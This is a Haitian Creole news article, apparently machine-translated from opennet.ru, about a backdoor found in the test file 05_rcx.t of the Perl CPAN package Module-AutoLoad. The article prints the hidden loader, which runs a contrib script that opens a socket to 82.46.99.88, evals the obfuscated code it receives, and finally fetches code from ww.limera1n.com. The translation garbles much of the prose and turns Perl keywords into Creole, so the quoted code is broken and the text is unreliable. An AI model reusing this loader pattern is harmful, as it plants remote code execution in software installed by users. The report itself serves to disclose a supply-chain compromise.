Kòd move yo jwenn nan pake Module-AutoLoad Perl

Nan yon pake Perl distribye atravè anyè CPAN Modil-AutoLoad, ki fèt otomatikman chaje modil CPAN sou vole, idantifye move kòd. Insérer nan move te jwenn nan kòd tès la 05_rcx.t, ki te anbake depi 2011.
Se enpòtan pou remake ke kesyon sou chaje kòd dout te leve sou Chemine debòde tounen an 2016.

Aktivite move se yon tantativ pou telechaje ak egzekite kòd nan yon sèvè twazyèm pati (http://r.cx:1/) pandan ekzekisyon an nan yon suite tès lanse lè enstale modil la. Yo sipoze ke kòd la okòmansman telechaje soti nan sèvè a ekstèn pa te move, men kounye a se demann lan redireksyon nan domèn nan ww.limera1n.com, ki bay pòsyon li nan kòd la pou ekzekisyon.

Pou òganize download la nan yon dosye 05_rcx.t Yo itilize kòd sa a:

mwen $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Kòd espesifye a lakòz script la dwe egzekite ../contrib/RCX.pl, sa ki nan yo se redwi a liy lan:

itilize lib do{eval<$b>&&botstrap("RCX")if$b=nouvo IO::Socket::INET 82.46.99.88.":1″};

Script sa a chaje konfonn lè l sèvi avèk sèvis la perlobfuscator.com kòd soti nan lame ekstèn r.cx (kòd karaktè 82.46.99.88 koresponn ak tèks "R.cX") epi li egzekite li nan blòk eval la.

$ perl -MIO::Socket -e'$b=nouvo IO::Socket::INET 82.46.99.88.":1″; enprime <$b>;'
eval depake u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Apre debalaj, sa ki annapre yo finalman egzekite: kòd:

enprime{$b=nouvo IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

Pake pwoblèm nan kounye a yo te retire nan depo a. pran yon poz (Perl Authors Upload Server), epi kont otè modil la bloke. Nan ka sa a, modil la toujou rete disponib nan achiv MetaCPAN epi yo ka enstale dirèkteman nan MetaCPAN lè l sèvi avèk kèk sèvis piblik tankou cpanminus. Li te noteke pake a pa te lajman distribye.

Enteresan pou diskite konekte ak otè a nan modil la, ki moun ki demanti enfòmasyon an ke move kòd yo te antre apre sit li "r.cx" te rache epi eksplike ke li te jis pran plezi, ak itilize perlobfuscator.com pa kache yon bagay, men diminye gwosè a. nan kòd la ak senplifye kopye li atravè clipboard la. Chwa non fonksyon "botstrap" la eksplike pa lefèt ke mo sa a "sone tankou bot epi li pi kout pase bootstrap." Otè a nan modil la tou asire ke manipilasyon yo idantifye pa fè aksyon move, men sèlman demontre chaj la ak ekzekisyon nan kòd atravè TCP.

Sous: opennet.ru